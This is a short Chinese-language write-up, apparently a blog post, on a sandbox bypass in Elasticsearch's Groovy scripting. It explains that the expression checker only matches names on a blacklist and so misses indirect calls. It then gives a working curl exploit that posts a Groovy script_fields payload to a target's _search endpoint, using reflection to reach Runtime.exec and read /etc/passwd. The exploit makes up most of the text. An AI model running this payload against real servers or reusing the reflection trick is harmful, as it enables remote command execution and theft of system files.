com.elasticsearch.script.groovy.GroovySandboxExpressionChecker 邏輯存在漏洞html
從代碼中能夠看到這個沙盒,只是根據黑白名單,在表達式語義上判斷表達式是否合法的,能夠說是一個「淺」沙盒,簡單來來講,好比沙盒設置不容許調用shell()這個方法,直接調用shell()方法,沙盒在表達式中發現了shell()這個字符串,就會報非法調用,可是若是有一個方法叫poc()這個方法中調用了shell()方法(poc(){shell()}),當調用poc()方法的時候,shell()方法也就被間接調用了沙盒並不會報錯。java
curl -XPOST 'http://ip:port/_search?pretty' -d '{
"size":1,
"script_fields":{
"lupin":{
"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()",
"lang":"groovy"
}
}
}'shell
https://www.secpulse.com/archives/5047.htmlcurl